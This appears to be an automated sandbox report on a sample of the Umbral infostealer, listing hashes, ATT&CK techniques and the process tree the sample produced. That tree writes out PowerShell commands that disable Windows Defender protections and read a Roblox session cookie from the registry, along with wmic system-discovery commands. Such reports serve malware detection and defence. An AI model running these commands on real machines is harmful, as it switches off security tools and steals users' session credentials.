umbral | 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17/01/2025, 11:27

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General

Target

733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe
Size

231KB
MD5

0adae0c64017d858ba11f98f8276a970
SHA1

4363eac789ffcf9d966981069e2709a249509181
SHA256

733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef
SHA512

e31f1d41ad682b6e566e628ec02fbcc690f79026442e6171f3ae745058d80c72cdc36b6822f84d9c950d8aa24bdc4820257b30a43bb7138888df65bc423cdea8
SSDEEP

6144:xloZMffsXtioRkts/cnnK6cMltMMjw2xpaBPyAxVkElb8e1mhzLHiy:DoZdtlRk83MltMMjw2xpaBPyAxVkAMWy

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2680-1-0x00000000009A0000-0x00000000009E0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2824	powershell.exe
304	powershell.exe
984	powershell.exe
1720	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3068	wmic.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe
2824	powershell.exe
304	powershell.exe
984	powershell.exe
836	powershell.exe
1720	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe
Token: SeIncreaseQuotaPrivilege	2852	wmic.exe
Token: SeSecurityPrivilege	2852	wmic.exe
Token: SeTakeOwnershipPrivilege	2852	wmic.exe
Token: SeLoadDriverPrivilege	2852	wmic.exe
Token: SeSystemProfilePrivilege	2852	wmic.exe
Token: SeSystemtimePrivilege	2852	wmic.exe
Token: SeProfSingleProcessPrivilege	2852	wmic.exe
Token: SeIncBasePriorityPrivilege	2852	wmic.exe
Token: SeCreatePagefilePrivilege	2852	wmic.exe
Token: SeBackupPrivilege	2852	wmic.exe
Token: SeRestorePrivilege	2852	wmic.exe
Token: SeShutdownPrivilege	2852	wmic.exe
Token: SeDebugPrivilege	2852	wmic.exe
Token: SeSystemEnvironmentPrivilege	2852	wmic.exe
Token: SeRemoteShutdownPrivilege	2852	wmic.exe
Token: SeUndockPrivilege	2852	wmic.exe
Token: SeManageVolumePrivilege	2852	wmic.exe
Token: 33	2852	wmic.exe
Token: 34	2852	wmic.exe
Token: 35	2852	wmic.exe
Token: SeIncreaseQuotaPrivilege	2852	wmic.exe
Token: SeSecurityPrivilege	2852	wmic.exe
Token: SeTakeOwnershipPrivilege	2852	wmic.exe
Token: SeLoadDriverPrivilege	2852	wmic.exe
Token: SeSystemProfilePrivilege	2852	wmic.exe
Token: SeSystemtimePrivilege	2852	wmic.exe
Token: SeProfSingleProcessPrivilege	2852	wmic.exe
Token: SeIncBasePriorityPrivilege	2852	wmic.exe
Token: SeCreatePagefilePrivilege	2852	wmic.exe
Token: SeBackupPrivilege	2852	wmic.exe
Token: SeRestorePrivilege	2852	wmic.exe
Token: SeShutdownPrivilege	2852	wmic.exe
Token: SeDebugPrivilege	2852	wmic.exe
Token: SeSystemEnvironmentPrivilege	2852	wmic.exe
Token: SeRemoteShutdownPrivilege	2852	wmic.exe
Token: SeUndockPrivilege	2852	wmic.exe
Token: SeManageVolumePrivilege	2852	wmic.exe
Token: 33	2852	wmic.exe
Token: 34	2852	wmic.exe
Token: 35	2852	wmic.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	304	powershell.exe
Token: SeDebugPrivilege	984	powershell.exe
Token: SeDebugPrivilege	836	powershell.exe
Token: SeIncreaseQuotaPrivilege	2004	wmic.exe
Token: SeSecurityPrivilege	2004	wmic.exe
Token: SeTakeOwnershipPrivilege	2004	wmic.exe
Token: SeLoadDriverPrivilege	2004	wmic.exe
Token: SeSystemProfilePrivilege	2004	wmic.exe
Token: SeSystemtimePrivilege	2004	wmic.exe
Token: SeProfSingleProcessPrivilege	2004	wmic.exe
Token: SeIncBasePriorityPrivilege	2004	wmic.exe
Token: SeCreatePagefilePrivilege	2004	wmic.exe
Token: SeBackupPrivilege	2004	wmic.exe
Token: SeRestorePrivilege	2004	wmic.exe
Token: SeShutdownPrivilege	2004	wmic.exe
Token: SeDebugPrivilege	2004	wmic.exe
Token: SeSystemEnvironmentPrivilege	2004	wmic.exe
Token: SeRemoteShutdownPrivilege	2004	wmic.exe
Token: SeUndockPrivilege	2004	wmic.exe
Token: SeManageVolumePrivilege	2004	wmic.exe
Token: 33	2004	wmic.exe
Token: 34	2004	wmic.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 2852	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	30
PID 2680 wrote to memory of 2852	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	30
PID 2680 wrote to memory of 2852	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	30
PID 2680 wrote to memory of 2824	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	33
PID 2680 wrote to memory of 2824	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	33
PID 2680 wrote to memory of 2824	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	33
PID 2680 wrote to memory of 304	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	35
PID 2680 wrote to memory of 304	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	35
PID 2680 wrote to memory of 304	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	35
PID 2680 wrote to memory of 984	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	37
PID 2680 wrote to memory of 984	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	37
PID 2680 wrote to memory of 984	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	37
PID 2680 wrote to memory of 836	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	39
PID 2680 wrote to memory of 836	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	39
PID 2680 wrote to memory of 836	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	39
PID 2680 wrote to memory of 2004	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	41
PID 2680 wrote to memory of 2004	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	41
PID 2680 wrote to memory of 2004	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	41
PID 2680 wrote to memory of 1044	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	43
PID 2680 wrote to memory of 1044	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	43
PID 2680 wrote to memory of 1044	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	43
PID 2680 wrote to memory of 2900	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	45
PID 2680 wrote to memory of 2900	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	45
PID 2680 wrote to memory of 2900	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	45
PID 2680 wrote to memory of 1720	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	47
PID 2680 wrote to memory of 1720	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	47
PID 2680 wrote to memory of 1720	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	47
PID 2680 wrote to memory of 3068	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	49
PID 2680 wrote to memory of 3068	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	49
PID 2680 wrote to memory of 3068	2680	733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe	49

C:\Users\Admin\AppData\Local\Temp\733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe
"C:\Users\Admin\AppData\Local\Temp\733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:836
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1044
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1720
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c191ced51faae58f4a870e683747817b

SHA1
da47054ce701d75aba0b86e42e1953b5dd1e9fe2

SHA256
0ecdf569c24f090cd5f2627851962a9b21f990a57f5adbd3895896f01292c233

SHA512
a2c1fc64371b74c0c8cc59a867109389b5162ca7fa1eddd95d55e54fdf40574fd9cabc2ca759a546c5769f0bd69774e32f55bea00786110625dc3a4fdae70b69

Download Submit
memory/304-14-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/304-15-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/1720-42-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2680-0-0x000007FEF6343000-0x000007FEF6344000-memory.dmp

Filesize
4KB

Download
memory/2680-1-0x00000000009A0000-0x00000000009E0000-memory.dmp

Filesize
256KB

Download
memory/2680-2-0x000007FEF6340000-0x000007FEF6D2C000-memory.dmp

Filesize
9.9MB

Download
memory/2680-46-0x000007FEF6340000-0x000007FEF6D2C000-memory.dmp

Filesize
9.9MB

Download
memory/2824-7-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2824-8-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download